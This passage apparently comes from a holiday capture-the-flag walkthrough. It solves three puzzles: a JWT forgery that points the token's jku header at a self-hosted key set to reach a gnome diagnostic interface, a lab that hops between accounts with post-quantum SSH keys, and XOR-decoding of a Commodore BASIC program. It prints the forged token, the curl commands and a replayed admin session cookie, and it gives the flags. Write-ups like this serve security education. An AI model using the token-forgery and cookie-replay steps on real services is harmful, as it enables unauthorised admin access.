eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd3R0b29sX2N1c3RvbV9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NDExMDc1NSwiZXhwIjoxNzY0MTE3OTU1LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.oDszBs0gYC5WLeoCU_KDHcpS4XmQ0b2BkENMV4QOnP2PeRoaFoYZ68vwG2liUuELzAIbFP-OyyMDHDiz6rycsgYVoMWecp9xcneUrLPiwvHqySMxTAE2aWIAEaQyD9ipStoRz06gyKrQGp537B-Bc-YSsqB8CktyI4DTa6ttxBeQD3ExXwciE_OZoxEuDi9v2fguXi14t78oViI1ZqcesjHTBajiQsdvdLKjtXAPCLH-f_JoFX1jCvX9j1ZygkRSU7dlbCMNTVVA_6WPZ53b0LF6LCfLuWCJBGhr6YER_UktfyIYix_EAH9MNy7OkiIrv7f4aKNlwpIaoLTNg3g9eQ

Copy the JWKS file. It will be accessible at “http://paulweb.neighborhood/jwttool_custom_jwks.json”.

cp /home/paul/.jwt_tool/jwttool_custom_jwks.json /home/paul/www/jwttool_custom_jwks.json

Following instructions from the notes, pass the JWT token to Gnome.

curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>
curl -v http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9wYXVsd2ViLm5laWdoYm9yaG9vZC9qd3R0b29sX2N1c3RvbV9qd2tzLmpzb24iLCJraWQiOiJqd3RfdG9vbCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NDExMDc1NSwiZXhwIjoxNzY0MTE3OTU1LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6dHJ1ZX0.oDszBs0gYC5WLeoCU_KDHcpS4XmQ0b2BkENMV4QOnP2PeRoaFoYZ68vwG2liUuELzAIbFP-OyyMDHDiz6rycsgYVoMWecp9xcneUrLPiwvHqySMxTAE2aWIAEaQyD9ipStoRz06gyKrQGp537B-Bc-YSsqB8CktyI4DTa6ttxBeQD3ExXwciE_OZoxEuDi9v2fguXi14t78oViI1ZqcesjHTBajiQsdvdLKjtXAPCLH-f_JoFX1jCvX9j1ZygkRSU7dlbCMNTVVA_6WPZ53b0LF6LCfLuWCJBGhr6YER_UktfyIYix_EAH9MNy7OkiIrv7f4aKNlwpIaoLTNg3g9eQ
[...]
< HTTP/1.1 302 FOUND
< Date: Tue, 25 Nov 2025 22:50:34 GMT
< Server: Werkzeug/3.0.1 Python/3.12.3
< Content-Type: text/html; charset=utf-8
< Content-Length: 229
< Location: /diagnostic-interface
< Vary: Cookie
< Set-Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aSYyug.ontg-D-YlJj-5C3KPMp7yxntDtY; HttpOnly; Path=/
[...]

Following instructions from the notes, access the Gnome Diagnostic Interface using the session cookie.

curl -H 'Cookie: session=eyJhZG1pbiI6dHJ1ZSwidXNlcm5hbWUiOiJnbm9tZSJ9.aSYyug.ontg-D-YlJj-5C3KPMp7yxntDtY' http://gnome-48371.atnascorp/diagnostic-interface
<!DOCTYPE html>
<html>
[...]
2025-11-25 18:30:17: Movement detected.<br/>
2025-11-25 21:16:08: AtnasCorp C&C connection restored.<br/>
2025-11-25 22:47:42: Checking for updates.<br/>
2025-11-25 22:47:42: Firmware Update available: refrigeration-botnet.bin<br/>
2025-11-25 22:47:44: Firmware update downloaded.<br/>
2025-11-25 22:47:44: Gnome will reboot to apply firmware update in one hour.</div>
[...]
</html

refrigeration-botnet.bin

Quantgnome Leap

Difficulty: 2/5, Location: The Neighborhood, Grand Hotel

Charlie in the hotel has quantum gnome mysteries waiting to be solved. What is the flag that you find?

Click on Charlie Goldner.

I just spotted a mysterious gnome – he winked and vanished, or maybe he’s still here?

Things are getting strange, and I think we’ve wandered into a quantum conundrum!

If you help me unravel these riddles, we might just outsmart future quantum computers.

Cryptic puzzles, quirky gnomes, and post-quantum secrets—will you leap with me?

Click on the Quantgnome Leap cranberry pie terminal.

I have created a PQC key generation program on this system.
Find and execute it.

We are currently logged as “qgnome@quantgnome_leap”. Look at the RSA keys in “.ssh”. Here is the public key.

cat ~/.ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCya6rjv+pf55l/EvEIZW+yhBdrpBrS0rmyysVhdR5Zn2aatLVDhRnNQrH+si6SOaDAOPhOhy037auUveLhEFaQBDQIDqisQ8JoTT/TKhyO97h1IUkl3zmsuw4Kcu1r24L2UJCIVStiJR8vQU8U0Kg5eWuDRev9j+2VMGqF2hmYqssTNbxHNeNbEr1R6/wciSAa3hNwksqE3dYjbr07veKAIcWcsaPMRHmjHrHXdLLwyweXhgzidd3AgzDskub9XdAiXs2B93mFNbQWel+nE2smxUVUY+SLsGXDTXAJu5AqYXrDEJtSuCOCHKXyPX7WCbmAllQo1FB/9K59pI552+K062SvGDCeLEPpcELozU52/awX2yeldNOj7Bn/xXdKpSPHLUrhsj8y/9gVTnS/0q6VLzO8qIwzxdGh7P0OtQqMrSRkTLEHtdOjojTmT70WUpUaVWXf65X8ymY72G49lJjFVAyM6AFBQK/K52f0UTl4XnvkSHwxYNFyk7wGkE07pWU= gnome1

Connect with user gnome1 using the private key.

ssh -i ~/.ssh/id_rsa gnome1@localhost

Welcome, gnome1 user! You made the first leap!

You authenticated with an RSA key, but that isn’t very secure in a post-quantum world. RSA depends on large prime
numbers, which a quantum computer can easily solve with something like Shor’s algorithm.

Take a look around and see if you can find a way to login to the gnome2 account.

cat ~/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKUOOPy0e1+4EzuM5PYc1/lfsXrR9FFDxTxDztvCi0Ce gnome2

Connect with user gnome2 using the private key.

ssh -i ~/.ssh/id_ed25519 gnome2@localhost

Welcome, gnome2 user! You made the second leap!

You authenticated with an ED25519 key, smaller than an RSA key, but still not secure in a post-quantum world
due to Shor’s algorithm.

Take a look around and see if you can find a way to login to the gnome3 account.

cat ~/.ssh/id_mayo2.pub
ssh-mayo2 AAAACXNz[...]6m90UjEl9z gnome3

Connect with user gnome3 using the private key.

ssh -i ~/.ssh/id_mayo2 gnome3@localhost

Welcome, gnome3 user! You made the third leap!

You authenticated with a MAYO post-quantum key.
A post-quantum cryptographic algorithm with promising results for embedded systems. HOWEVER, use MAYO with
caution! Wait for a standardized implementation (if/when that happens).

Take a look around and see if you can find a way to login to the gnome4 account.

cat ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple.pub
ssh-ecdsa-nistp256-sphincssha2128fsimple AAAAKHNzaC1lY2RzYS1uaXN0cDI1Ni1zcGhpbmNzc2hhMjEyOGZzaW1wbGUAAAAIbmlzdHAyNTYAAABBBL6fN38B6kQNiS0vAvGeGjAJ7Da2YbpBaAXkeeDJ3CJIUZc8PzNWCfzW5qN8z0RnS1/Hia1jRt6dydqeiVHBa9cAAAAgRAPMBt8y/4/YdBEw9OutMv37HJy50gIQfmzUY5d82Bg= gnome4

Connect with user gnome4 using the private key.

ssh -i ~/.ssh/id_ecdsa_nistp256_sphincssha2128fsimple gnome4@localhost

Welcome, gnome4 user! You made the fourth leap!

You authenticated with a post-quantum hybrid key! What does that mean? A blended approach with proven classical
cryptography and post-quantum cryptography.

In this case, you authenticated with a NIST P-256 ECDSA key (a classical elliptic curve) that also uses post-quantum
SPHINCS+ (standardized by NIST in FIPS 205 as SLH-DSA). That makes this key extremely robust. According to NIST, this is
a security level 1 key, which means this key is at least as strong as AES128.

Instead of a single exchange/signature (as with RSA or ED25519), this key produces two (one classical and one
post-quantum) that are both checked together. If one fails, authentication fails. A hybrid approach is a great first step
when testing and implementing post-quantum cryptography, giving organizations ‘Quantum Agility’.

Take a look around and see if you can find a way to login to the admin account.

cat ~/.ssh/id_ecdsa_nistp521_mldsa87.pub
ssh-ecdsa-nistp521-mldsa-87 AAAAG3Nza[...]dxqr9zVg== admin

Connect with user admin using the private key.

ssh -i ~/.ssh/id_ecdsa_nistp521_mldsa87 admin@localhost

You made the QuantGnome Leap! Your final stop.

You authenticated with another hybrid post-quantum key. What is different about this key? It uses the NIST P-521 elliptic
curve (roughly equivalent to a 15360-bit RSA key) paired with ML-DSA-87. According to NIST, ML-DSA-87 is a security level
5 algorithm, which provides the highest security level and is meant for the most secure environments. NIST standardized
CRYSTALS-Dilithium as ML-DSA in FIPS 204 with three defined security levels:

  • ML-DSA-44: Security Level 2 – At least as strong as SHA256/SHA3-256
  • ML-DSA-65: Security Level 3 – At least as strong as AES192
  • ML-DSA-87: Security Level 5 – At least as strong as AES256

This is one of the strongest hybrid keys available in post-quantum cryptography. The other extremely strong
security level 5 algorithms all use a combination of the NIST P-521 elliptic curve and one of the following PQC
algorithms:

  • falcon1024: Falcon (FN-DSA) with a 1024 lattice dimensional size
  • sphincssha2256fsimple: SLH-DSA (SPHINCS+) using SHA2 256 and fast signature generation (hence the ‘f’ in the
    algorithm name)
  • mayo5: MAYO-5 is the highest of the four MAYO security levels

This entire build/system is based off of the Linux Foundation’s Open Quantum Safe (OQS) initiative. It uses the OQS
liboqs library which provides PQC algorithm support.
You can find out more about the OQS initiative at https://openquantumsafe.org/.

Next Step: You now have access to a directory in the same location as the SSH daemon. Time to look around for
your final flag.

ps -ef | grep sshd
sshd: /opt/oqs-ssh/sbin/sshd -D -f /opt/oqs-ssh/sshd_config -E /opt/oqs-ssh/sshd_logfile.log [listener] 0 of 10-100 startups

Get the flag.

cat /opt/oqs-ssh/flag/flag

HHC{L3aping_0v3r_Quantum_Crypt0}

Going in Reverse

Difficulty: 2/5, Location: The Neighborhood, Retro Store

Kevin in the Retro Store needs help rewinding tech and going in reverse. Extract the flag and enter it here.

Click on Kevin McFarland.

The thing about BASIC programs from that era is they were often written by clever programmers who knew how to hide things in plain sight. Sometimes the most interesting discoveries come from reading the code itself rather than watching it execute. It’s like being a digital archaeologist – you’re not just looking at what the program does, you’re understanding how the programmer thought.

Take your time with this one. Those old-school programmers had to be creative within such tight constraints. You’ll know the flag by the Christmas phrase that pays.

In your items, click on Just a BASIC Program.

10 REM *** COMMODORE 64 SECURITY SYSTEM ***
20 ENC_PASS$ = "D13URKBT"
30 ENC_FLAG$ = "DSA|auhts*wkfi=dhjwubtthut+dhhkfis+hnkz" ' old "DSA|qnisf`bX_huXariz"
40 INPUT "ENTER PASSWORD: "; PASS$
50 IF LEN(PASS$) <> LEN(ENC_PASS$) THEN GOTO 90
60 FOR I = 1 TO LEN(PASS$)
70 IF CHR$(ASC(MID$(PASS$,I,1)) XOR 7) <> MID$(ENC_PASS$,I,1) THEN GOTO 90
80 NEXT I
85 FLAG$ = "" : FOR I = 1 TO LEN(ENC_FLAG$) : FLAG$ = FLAG$ + CHR$(ASC(MID$(ENC_FLAG$,I,1)) XOR 7) : NEXT I : PRINT FLAG$
90 PRINT "ACCESS DENIED"
100 END

Every ASCII character from the password and flag is XOR with 7. The BASIC “MID” function is like substring.

FOR I = 1 TO LEN(PASS$)
IF CHR$(ASC(MID$(PASS$,I,1)) XOR 7) <> MID$(ENC_PASS$,I,1) 
[...]

Use Python to replicate the BASIC code to retrieve the password. The “ord” function converts a character to ASCII code (decimal), the “chr” converts from ASCII code to character.

python
password = ""
for i in "D13URKBT":
    password = password + chr(ord(i) ^ 7)
print(password)
exit()

Password is “C64RULES”.

Do the same for the flag.

FLAG$ = ""
FOR I = 1 TO LEN(ENC_FLAG$)
    FLAG$ = FLAG$ + CHR$(ASC(MID$(ENC_FLAG$,I,1)) XOR 7)
NEXT I

PRINT FLAG$
python
flag = ""
for i in "DSA|auhts*wkfi=dhjwubtthut+dhhkfis+hnkz":
    flag = flag + chr(ord(i) ^ 7)
print(flag)
exit()

CTF{frost-plan:compressors,coolant,oil}